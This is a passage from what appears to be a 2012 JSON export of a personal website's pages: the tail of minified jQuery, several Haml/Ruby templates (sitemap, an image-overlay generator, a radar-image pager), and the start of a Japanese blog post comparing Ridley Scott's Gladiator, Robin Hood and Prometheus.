\\t]*([^\\r\\n]*)\\r?$/mg,cm=/^(?:about|app|app\\-storage|.+\\-extension|file|res|widget):$/,cn=/^(?:GET|HEAD)$/,co=/^\\/\\//,cp=/\\?/,cq=/\u003cscript\\b[^\u003c]*(?:(?!\u003c\\/script\u003e)\u003c[^\u003c]*)*\u003c\\/script\u003e/gi,cr=/([?\u0026])_=[^\u0026]*/,cs=/^([\\w\\+\\.\\-]+:)(?:\\/\\/([^\\/?#:]*)(?::(\\d+)|)|)/,ct=p.fn.load,cu={},cv={},cw=[\"*/\"]+[\"*\"];try{ci=f.href}catch(cx){ci=e.createElement(\"a\"),ci.href=\"\",ci=ci.href}cj=cs.exec(ci.toLowerCase())||[],p.fn.load=function(a,c,d){if(typeof a!=\"string\"\u0026\u0026ct)return ct.apply(this,arguments);if(!this.length)return this;var e,f,g,h=this,i=a.indexOf(\" \");return i\u003e=0\u0026\u0026(e=a.slice(i,a.length),a=a.slice(0,i)),p.isFunction(c)?(d=c,c=b):typeof c==\"object\"\u0026\u0026(f=\"POST\"),p.ajax({url:a,type:f,dataType:\"html\",data:c,complete:function(a,b){d\u0026\u0026h.each(d,g||[a.responseText,b,a])}}).done(function(a){g=arguments,h.html(e?p(\"\u003cdiv\u003e\").append(a.replace(cq,\"\")).find(e):a)}),this},p.each(\"ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend\".split(\" \"),function(a,b){p.fn[b]=function(a){return this.on(b,a)}}),p.each([\"get\",\"post\"],function(a,c){p[c]=function(a,d,e,f){return p.isFunction(d)\u0026\u0026(f=f||e,e=d,d=b),p.ajax({type:c,url:a,data:d,success:e,dataType:f})}}),p.extend({getScript:function(a,c){return p.get(a,b,c,\"script\")},getJSON:function(a,b,c){return p.get(a,b,c,\"json\")},ajaxSetup:function(a,b){return b?cA(a,p.ajaxSettings):(b=a,a=p.ajaxSettings),cA(a,b),a},ajaxSettings:{url:ci,isLocal:cm.test(cj[1]),global:!0,type:\"GET\",contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",processData:!0,async:!0,accepts:{xml:\"application/xml, text/xml\",html:\"text/html\",text:\"text/plain\",json:\"application/json, text/javascript\",\"*\":cw},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:\"responseXML\",text:\"responseText\"},converters:{\"* text\":a.String,\"text html\":!0,\"text json\":p.parseJSON,\"text xml\":p.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:cy(cu),ajaxTransport:cy(cv),ajax:function(a,c){function y(a,c,f,i){var k,s,t,u,w,y=c;if(v===2)return;v=2,h\u0026\u0026clearTimeout(h),g=b,e=i||\"\",x.readyState=a\u003e0?4:0,f\u0026\u0026(u=cB(l,x,f));if(a\u003e=200\u0026\u0026a\u003c300||a===304)l.ifModified\u0026\u0026(w=x.getResponseHeader(\"Last-Modified\"),w\u0026\u0026(p.lastModified[d]=w),w=x.getResponseHeader(\"Etag\"),w\u0026\u0026(p.etag[d]=w)),a===304?(y=\"notmodified\",k=!0):(k=cC(l,u),y=k.state,s=k.data,t=k.error,k=!t);else{t=y;if(!y||a)y=\"error\",a\u003c0\u0026\u0026(a=0)}x.status=a,x.statusText=\"\"+(c||y),k?o.resolveWith(m,[s,y,x]):o.rejectWith(m,[x,y,t]),x.statusCode(r),r=b,j\u0026\u0026n.trigger(\"ajax\"+(k?\"Success\":\"Error\"),[x,l,k?s:t]),q.fireWith(m,[x,y]),j\u0026\u0026(n.trigger(\"ajaxComplete\",[x,l]),--p.active||p.event.trigger(\"ajaxStop\"))}typeof a==\"object\"\u0026\u0026(c=a,a=b),c=c||{};var d,e,f,g,h,i,j,k,l=p.ajaxSetup({},c),m=l.context||l,n=m!==l\u0026\u0026(m.nodeType||m instanceof p)?p(m):p.event,o=p.Deferred(),q=p.Callbacks(\"once memory\"),r=l.statusCode||{},t={},u={},v=0,w=\"canceled\",x={readyState:0,setRequestHeader:function(a,b){if(!v){var c=a.toLowerCase();a=u[c]=u[c]||a,t[a]=b}return this},getAllResponseHeaders:function(){return v===2?e:null},getResponseHeader:function(a){var c;if(v===2){if(!f){f={};while(c=cl.exec(e))f[c[1].toLowerCase()]=c[2]}c=f[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){return v||(l.mimeType=a),this},abort:function(a){return a=a||w,g\u0026\u0026g.abort(a),y(0,a),this}};o.promise(x),x.success=x.done,x.error=x.fail,x.complete=q.add,x.statusCode=function(a){if(a){var b;if(v\u003c2)for(b in a)r[b]=[r[b],a[b]];else b=a[x.status],x.always(b)}return this},l.url=((a||l.url)+\"\").replace(ck,\"\").replace(co,cj[1]+\"//\"),l.dataTypes=p.trim(l.dataType||\"*\").toLowerCase().split(s),l.crossDomain==null\u0026\u0026(i=cs.exec(l.url.toLowerCase()),l.crossDomain=!(!i||i[1]==cj[1]\u0026\u0026i[2]==cj[2]\u0026\u0026(i[3]||(i[1]===\"http:\"?80:443))==(cj[3]||(cj[1]===\"http:\"?80:443)))),l.data\u0026\u0026l.processData\u0026\u0026typeof l.data!=\"string\"\u0026\u0026(l.data=p.param(l.data,l.traditional)),cz(cu,l,c,x);if(v===2)return x;j=l.global,l.type=l.type.toUpperCase(),l.hasContent=!cn.test(l.type),j\u0026\u0026p.active++===0\u0026\u0026p.event.trigger(\"ajaxStart\");if(!l.hasContent){l.data\u0026\u0026(l.url+=(cp.test(l.url)?\"\u0026\":\"?\")+l.data,delete l.data),d=l.url;if(l.cache===!1){var z=p.now(),A=l.url.replace(cr,\"$1_=\"+z);l.url=A+(A===l.url?(cp.test(l.url)?\"\u0026\":\"?\")+\"_=\"+z:\"\")}}(l.data\u0026\u0026l.hasContent\u0026\u0026l.contentType!==!1||c.contentType)\u0026\u0026x.setRequestHeader(\"Content-Type\",l.contentType),l.ifModified\u0026\u0026(d=d||l.url,p.lastModified[d]\u0026\u0026x.setRequestHeader(\"If-Modified-Since\",p.lastModified[d]),p.etag[d]\u0026\u0026x.setRequestHeader(\"If-None-Match\",p.etag[d])),x.setRequestHeader(\"Accept\",l.dataTypes[0]\u0026\u0026l.accepts[l.dataTypes[0]]?l.accepts[l.dataTypes[0]]+(l.dataTypes[0]!==\"*\"?\", \"+cw+\"; q=0.01\":\"\"):l.accepts[\"*\"]);for(k in l.headers)x.setRequestHeader(k,l.headers[k]);if(!l.beforeSend||l.beforeSend.call(m,x,l)!==!1\u0026\u0026v!==2){w=\"abort\";for(k in{success:1,error:1,complete:1})x[k](l[k]);g=cz(cv,l,c,x);if(!g)y(-1,\"No Transport\");else{x.readyState=1,j\u0026\u0026n.trigger(\"ajaxSend\",[x,l]),l.async\u0026\u0026l.timeout\u003e0\u0026\u0026(h=setTimeout(function(){x.abort(\"timeout\")},l.timeout));try{v=1,g.send(t,y)}catch(B){if(v\u003c2)y(-1,B);else throw B}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var cD=[],cE=/\\?/,cF=/(=)\\?(?=\u0026|$)|\\?\\?/,cG=p.now();p.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var a=cD.pop()||p.expando+\"_\"+cG++;return this[a]=!0,a}}),p.ajaxPrefilter(\"json jsonp\",function(c,d,e){var f,g,h,i=c.data,j=c.url,k=c.jsonp!==!1,l=k\u0026\u0026cF.test(j),m=k\u0026\u0026!l\u0026\u0026typeof i==\"string\"\u0026\u0026!(c.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")\u0026\u0026cF.test(i);if(c.dataTypes[0]===\"jsonp\"||l||m)return f=c.jsonpCallback=p.isFunction(c.jsonpCallback)?c.jsonpCallback():c.jsonpCallback,g=a[f],l?c.url=j.replace(cF,\"$1\"+f):m?c.data=i.replace(cF,\"$1\"+f):k\u0026\u0026(c.url+=(cE.test(j)?\"\u0026\":\"?\")+c.jsonp+\"=\"+f),c.converters[\"script json\"]=function(){return h||p.error(f+\" was not called\"),h[0]},c.dataTypes[0]=\"json\",a[f]=function(){h=arguments},e.always(function(){a[f]=g,c[f]\u0026\u0026(c.jsonpCallback=d.jsonpCallback,cD.push(f)),h\u0026\u0026p.isFunction(g)\u0026\u0026g(h[0]),h=g=b}),\"script\"}),p.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/javascript|ecmascript/},converters:{\"text script\":function(a){return p.globalEval(a),a}}}),p.ajaxPrefilter(\"script\",function(a){a.cache===b\u0026\u0026(a.cache=!1),a.crossDomain\u0026\u0026(a.type=\"GET\",a.global=!1)}),p.ajaxTransport(\"script\",function(a){if(a.crossDomain){var c,d=e.head||e.getElementsByTagName(\"head\")[0]||e.documentElement;return{send:function(f,g){c=e.createElement(\"script\"),c.async=\"async\",a.scriptCharset\u0026\u0026(c.charset=a.scriptCharset),c.src=a.url,c.onload=c.onreadystatechange=function(a,e){if(e||!c.readyState||/loaded|complete/.test(c.readyState))c.onload=c.onreadystatechange=null,d\u0026\u0026c.parentNode\u0026\u0026d.removeChild(c),c=b,e||g(200,\"success\")},d.insertBefore(c,d.firstChild)},abort:function(){c\u0026\u0026c.onload(0,1)}}}});var cH,cI=a.ActiveXObject?function(){for(var a in cH)cH[a](0,1)}:!1,cJ=0;p.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal\u0026\u0026cK()||cL()}:cK,function(a){p.extend(p.support,{ajax:!!a,cors:!!a\u0026\u0026\"withCredentials\"in a})}(p.ajaxSettings.xhr()),p.support.ajax\u0026\u0026p.ajaxTransport(function(c){if(!c.crossDomain||p.support.cors){var d;return{send:function(e,f){var g,h,i=c.xhr();c.username?i.open(c.type,c.url,c.async,c.username,c.password):i.open(c.type,c.url,c.async);if(c.xhrFields)for(h in c.xhrFields)i[h]=c.xhrFields[h];c.mimeType\u0026\u0026i.overrideMimeType\u0026\u0026i.overrideMimeType(c.mimeType),!c.crossDomain\u0026\u0026!e[\"X-Requested-With\"]\u0026\u0026(e[\"X-Requested-With\"]=\"XMLHttpRequest\");try{for(h in e)i.setRequestHeader(h,e[h])}catch(j){}i.send(c.hasContent\u0026\u0026c.data||null),d=function(a,e){var h,j,k,l,m;try{if(d\u0026\u0026(e||i.readyState===4)){d=b,g\u0026\u0026(i.onreadystatechange=p.noop,cI\u0026\u0026delete cH[g]);if(e)i.readyState!==4\u0026\u0026i.abort();else{h=i.status,k=i.getAllResponseHeaders(),l={},m=i.responseXML,m\u0026\u0026m.documentElement\u0026\u0026(l.xml=m);try{l.text=i.responseText}catch(a){}try{j=i.statusText}catch(n){j=\"\"}!h\u0026\u0026c.isLocal\u0026\u0026!c.crossDomain?h=l.text?200:404:h===1223\u0026\u0026(h=204)}}}catch(o){e||f(-1,o)}l\u0026\u0026f(h,j,l,k)},c.async?i.readyState===4?setTimeout(d,0):(g=++cJ,cI\u0026\u0026(cH||(cH={},p(a).unload(cI)),cH[g]=d),i.onreadystatechange=d):d()},abort:function(){d\u0026\u0026d(0,1)}}}});var cM,cN,cO=/^(?:toggle|show|hide)$/,cP=new RegExp(\"^(?:([-+])=|)(\"+q+\")([a-z%]*)$\",\"i\"),cQ=/queueHooks$/,cR=[cX],cS={\"*\":[function(a,b){var c,d,e,f=this.createTween(a,b),g=cP.exec(b),h=f.cur(),i=+h||0,j=1;if(g){c=+g[2],d=g[3]||(p.cssNumber[a]?\"\":\"px\");if(d!==\"px\"\u0026\u0026i){i=p.css(f.elem,a,!0)||c||1;do e=j=j||\".5\",i=i/j,p.style(f.elem,a,i+d),j=f.cur()/h;while(j!==1\u0026\u0026j!==e)}f.unit=d,f.start=i,f.end=g[1]?i+(g[1]+1)*c:c}return f}]};p.Animation=p.extend(cV,{tweener:function(a,b){p.isFunction(a)?(b=a,a=[\"*\"]):a=a.split(\" \");var c,d=0,e=a.length;for(;d\u003ce;d++)c=a[d],cS[c]=cS[c]||[],cS[c].unshift(b)},prefilter:function(a,b){b?cR.unshift(a):cR.push(a)}}),p.Tween=cY,cY.prototype={constructor:cY,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||\"swing\",this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(p.cssNumber[c]?\"\":\"px\")},cur:function(){var a=cY.propHooks[this.prop];return a\u0026\u0026a.get?a.get(this):cY.propHooks._default.get(this)},run:function(a){var b,c=cY.propHooks[this.prop];return this.pos=b=p.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration),this.now=(this.end-this.start)*b+this.start,this.options.step\u0026\u0026this.options.step.call(this.elem,this.now,this),c\u0026\u0026c.set?c.set(this):cY.propHooks._default.set(this),this}},cY.prototype.init.prototype=cY.prototype,cY.propHooks={_default:{get:function(a){var b;return a.elem[a.prop]==null||!!a.elem.style\u0026\u0026a.elem.style[a.prop]!=null?(b=p.css(a.elem,a.prop,!1,\"\"),!b||b===\"auto\"?0:b):a.elem[a.prop]},set:function(a){p.fx.step[a.prop]?p.fx.step[a.prop](a):a.elem.style\u0026\u0026(a.elem.style[p.cssProps[a.prop]]!=null||p.cssHooks[a.prop])?p.style(a.elem,a.prop,a.now+a.unit):a.elem[a.prop]=a.now}}},cY.propHooks.scrollTop=cY.propHooks.scrollLeft={set:function(a){a.elem.nodeType\u0026\u0026a.elem.parentNode\u0026\u0026(a.elem[a.prop]=a.now)}},p.each([\"toggle\",\"show\",\"hide\"],function(a,b){var c=p.fn[b];p.fn[b]=function(d,e,f){return d==null||typeof d==\"boolean\"||!a\u0026\u0026p.isFunction(d)\u0026\u0026p.isFunction(e)?c.apply(this,arguments):this.animate(cZ(b,!0),d,e,f)}}),p.fn.extend({fadeTo:function(a,b,c,d){return this.filter(bY).css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=p.isEmptyObject(a),f=p.speed(b,c,d),g=function(){var b=cV(this,p.extend({},a),f);e\u0026\u0026b.stop(!0)};return e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,c,d){var e=function(a){var b=a.stop;delete a.stop,b(d)};return typeof a!=\"string\"\u0026\u0026(d=c,c=a,a=b),c\u0026\u0026a!==!1\u0026\u0026this.queue(a||\"fx\",[]),this.each(function(){var b=!0,c=a!=null\u0026\u0026a+\"queueHooks\",f=p.timers,g=p._data(this);if(c)g[c]\u0026\u0026g[c].stop\u0026\u0026e(g[c]);else for(c in g)g[c]\u0026\u0026g[c].stop\u0026\u0026cQ.test(c)\u0026\u0026e(g[c]);for(c=f.length;c--;)f[c].elem===this\u0026\u0026(a==null||f[c].queue===a)\u0026\u0026(f[c].anim.stop(d),b=!1,f.splice(c,1));(b||!d)\u0026\u0026p.dequeue(this,a)})}}),p.each({slideDown:cZ(\"show\"),slideUp:cZ(\"hide\"),slideToggle:cZ(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){p.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),p.speed=function(a,b,c){var d=a\u0026\u0026typeof a==\"object\"?p.extend({},a):{complete:c||!c\u0026\u0026b||p.isFunction(a)\u0026\u0026a,duration:a,easing:c\u0026\u0026b||b\u0026\u0026!p.isFunction(b)\u0026\u0026b};d.duration=p.fx.off?0:typeof d.duration==\"number\"?d.duration:d.duration in p.fx.speeds?p.fx.speeds[d.duration]:p.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue=\"fx\";return d.old=d.complete,d.complete=function(){p.isFunction(d.old)\u0026\u0026d.old.call(this),d.queue\u0026\u0026p.dequeue(this,d.queue)},d},p.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2}},p.timers=[],p.fx=cY.prototype.init,p.fx.tick=function(){var a,b=p.timers,c=0;for(;c\u003cb.length;c++)a=b[c],!a()\u0026\u0026b[c]===a\u0026\u0026b.splice(c--,1);b.length||p.fx.stop()},p.fx.timer=function(a){a()\u0026\u0026p.timers.push(a)\u0026\u0026!cN\u0026\u0026(cN=setInterval(p.fx.tick,p.fx.interval))},p.fx.interval=13,p.fx.stop=function(){clearInterval(cN),cN=null},p.fx.speeds={slow:600,fast:200,_default:400},p.fx.step={},p.expr\u0026\u0026p.expr.filters\u0026\u0026(p.expr.filters.animated=function(a){return p.grep(p.timers,function(b){return a===b.elem}).length});var c$=/^(?:body|html)$/i;p.fn.offset=function(a){if(arguments.length)return a===b?this:this.each(function(b){p.offset.setOffset(this,a,b)});var c,d,e,f,g,h,i,j,k,l,m=this[0],n=m\u0026\u0026m.ownerDocument;if(!n)return;return(e=n.body)===m?p.offset.bodyOffset(m):(d=n.documentElement,p.contains(d,m)?(c=m.getBoundingClientRect(),f=c_(n),g=d.clientTop||e.clientTop||0,h=d.clientLeft||e.clientLeft||0,i=f.pageYOffset||d.scrollTop,j=f.pageXOffset||d.scrollLeft,k=c.top+i-g,l=c.left+j-h,{top:k,left:l}):{top:0,left:0})},p.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;return p.support.doesNotIncludeMarginInBodyOffset\u0026\u0026(b+=parseFloat(p.css(a,\"marginTop\"))||0,c+=parseFloat(p.css(a,\"marginLeft\"))||0),{top:b,left:c}},setOffset:function(a,b,c){var d=p.css(a,\"position\");d===\"static\"\u0026\u0026(a.style.position=\"relative\");var e=p(a),f=e.offset(),g=p.css(a,\"top\"),h=p.css(a,\"left\"),i=(d===\"absolute\"||d===\"fixed\")\u0026\u0026p.inArray(\"auto\",[g,h])\u003e-1,j={},k={},l,m;i?(k=e.position(),l=k.top,m=k.left):(l=parseFloat(g)||0,m=parseFloat(h)||0),p.isFunction(b)\u0026\u0026(b=b.call(a,c,f)),b.top!=null\u0026\u0026(j.top=b.top-f.top+l),b.left!=null\u0026\u0026(j.left=b.left-f.left+m),\"using\"in b?b.using.call(a,j):e.css(j)}},p.fn.extend({position:function(){if(!this[0])return;var a=this[0],b=this.offsetParent(),c=this.offset(),d=c$.test(b[0].nodeName)?{top:0,left:0}:b.offset();return c.top-=parseFloat(p.css(a,\"marginTop\"))||0,c.left-=parseFloat(p.css(a,\"marginLeft\"))||0,d.top+=parseFloat(p.css(b[0],\"borderTopWidth\"))||0,d.left+=parseFloat(p.css(b[0],\"borderLeftWidth\"))||0,{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||e.body;while(a\u0026\u0026!c$.test(a.nodeName)\u0026\u0026p.css(a,\"position\")===\"static\")a=a.offsetParent;return a||e.body})}}),p.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(a,c){var d=/Y/.test(c);p.fn[a]=function(e){return p.access(this,function(a,e,f){var g=c_(a);if(f===b)return g?c in g?g[c]:g.document.documentElement[e]:a[e];g?g.scrollTo(d?p(g).scrollLeft():f,d?f:p(g).scrollTop()):a[e]=f},a,e,arguments.length,null)}}),p.each({Height:\"height\",Width:\"width\"},function(a,c){p.each({padding:\"inner\"+a,content:c,\"\":\"outer\"+a},function(d,e){p.fn[e]=function(e,f){var g=arguments.length\u0026\u0026(d||typeof e!=\"boolean\"),h=d||(e===!0||f===!0?\"margin\":\"border\");return p.access(this,function(c,d,e){var f;return p.isWindow(c)?c.document.documentElement[\"client\"+a]:c.nodeType===9?(f=c.documentElement,Math.max(c.body[\"scroll\"+a],f[\"scroll\"+a],c.body[\"offset\"+a],f[\"offset\"+a],f[\"client\"+a])):e===b?p.css(c,d,e,h):p.style(c,d,e,h)},c,g?e:b,g)}})}),a.jQuery=a.$=p,typeof define==\"function\"\u0026\u0026define.amd\u0026\u0026define.amd.jQuery\u0026\u0026define(\"jquery\",[],function(){return p})})(window);","created_at":"2012-08-25T03:57:37.000Z","updated_at":"2012-08-25T03:57:37.000Z"},{"id":2140,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=h Page.where(:name =\u003e p.name).order(\"created_at desc\").first.title","created_at":"2012-08-25T04:45:03.000Z","updated_at":"2012-08-25T04:45:03.000Z"},{"id":2141,"name":"sitemap","body":"haml\r\n!!!\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - sitemap\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n#all\r\n %h1 \r\n %a{:href =\u003e \"/\"}ssig33.com\r\n %h2 Sitemap\r\n -Page.select(\"distinct name\").each do |p|\r\n %p\r\n %a{:href =\u003e \"/#{p.name}\"}=CGI.escapeHTML Page.where(:name =\u003e p.name).order(\"created_at desc\").first.title","created_at":"2012-08-25T04:45:12.000Z","updated_at":"2012-08-25T04:45:12.000Z"},{"id":2142,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e\r\n\u003cmeta charset=\"utf-8\"\u003e\r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute', alt: \"\"} \r\n %img#target{style: 'z-index:1;position:absolute', alt: \"\", src: \"initial\"} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'https://blog.so-net.ne.jp/_images/blog/_94a/moon12/JPT3-1.JPG', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n X: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n Y: \r\n %input#top{value: 100, type: 'range', min: -200, max:500}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2012-08-25T04:46:31.000Z","updated_at":"2012-08-25T04:46:31.000Z"},{"id":2143,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e\r\n\u003cmeta charset=\"utf-8\"\u003e\r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute', alt: \"\"} \r\n %img#target{style: 'z-index:1;position:absolute', alt: \"\", src: \"initial\"} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://ssig33.com/gyazo/c9f0984a04256fc7d6479cafc9565ec2.png', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n X: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n Y: \r\n %input#top{value: 100, type: 'range', min: -200, max:500}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2012-08-25T04:47:01.000Z","updated_at":"2012-08-25T04:47:01.000Z"},{"id":2144,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - text\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.name.sub(/^text\\//, '')\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"","created_at":"2012-08-25T05:08:30.000Z","updated_at":"2012-08-25T05:08:30.000Z"},{"id":2145,"name":"radar","body":"ruby Radar\r\n# vim:set ft=ruby :\r\n\r\nimages = Dir.glob(\"public/radar/*.png\").map{|x| x.split(\"/\").last}.sort{|a,b| -a.to_i \u003c=\u003e -b.to_i}\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*5),5)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://www.river.go.jp/img/summary/radar_Area80.png\"}http://www.river.go.jp/img/summary/radar_Area80.png\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/radar/\"+i, :alt =\u003e \"\"}\r\n #pager\r\n %a{:href =\u003e \"/radar?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})","created_at":"2012-08-25T21:00:59.000Z","updated_at":"2012-08-25T21:00:59.000Z"},{"id":2146,"name":"text/プロメテウスの感想、あるいは何故リドリー・スコットは劣化したのか","body":"%blog%\r\n\r\nプロメテウスの感想はまあいいや。 CM に騙された人は御愁傷様ということで。\r\n\r\n僕はプロメテウスを見たのがそもそも[二ヶ月以上前](http://text.ssig33.com/104)のことなので割ともういろいろ忘れてます、人類のエイリアンもスペースジョッキーに作られてたんや!!みたいのはまあ覚えてるんですが。\r\n\r\nんでもって、\r\n\r\n- ロビン・フッドはグラディエイターの焼き直し\r\n- プロメテウスはエイリアンの焼き直し\r\n- よってリドリー・スコットはもう完全に糞、ブレードランナーも絶対見んわ\r\n\r\nみたいな意見を比較的よく見る気がします。ただそれはちょっと違うんじゃないかなーと思うわけです。\r\n\r\n### グラディエイターとロビン・フッドはどう違うか?\r\nグラディエイターはよくも悪くも剣とサンダル映画の到達点と言えるのではないかと思います。主人公マキシマムの復讐は作中において全く正当なものと扱われます。トラウマを振り翳すグロテスクないかにもリドリー・スコット的人物コモドゥスは、副主人公的な人物ではありますが、あくまで悪役でしかない。コモドゥスは何一つ得るものもなく罵倒の中コロシアムに倒れる。\r\n\r\nグラディエイターは勧善懲悪のエンターテイメント超大作と言えるでしょう。\r\n\r\n翻ってロビン・フッドはどうか。この映画はまず時系列の上で明確にキングダム・オブ・ヘヴンの続編として描かれています。キングダム・オブ・ヘヴンは御存知の通り十字軍の大義を徹底的に批判した映画です。よってその流れを汲む本作では[ライオンハート](http://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%81%E3%83%A3%E3%83%BC%E3%83%891%E4%B8%96_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B))は徹底した悪役として描かれます。\r\n\r\nライオンハートが悪役ならば、[失地王ジョン](http://ja.wikipedia.org/wiki/%E3%82%B8%E3%83%A7%E3%83%B3_(%E3%82%A4%E3%83%B3%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%89%E7%8E%8B))はどうなのか、[尊厳王フィリップ](http://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A3%E3%83%AA%E3%83%83%E3%83%972%E4%B8%96_(%E3%83%95%E3%83%A9)はどうなのか。これも悪役として描かれています。ジョンはコモドゥス的な柔弱なのろまにすぎません。フィリップは侵略を企む邪悪な策士として描かれる。\r\n\r\nではこれら時代の王が悪役ならば、ロビン・フッドはどうなのか。ロビン・フッドの印象はあまり作中で残るものではなく、時代に抗おうとするも結局は時代に流される森の民というような印象しか残りません。\r\n\r\nそして僕が極めつけだと思ったのがマグナカルタが発布されるシーンで、このシーンで権利を認められるのは史実通り「貴族のみ」ですし、マグナカルタ自体失態を重ねたジョンが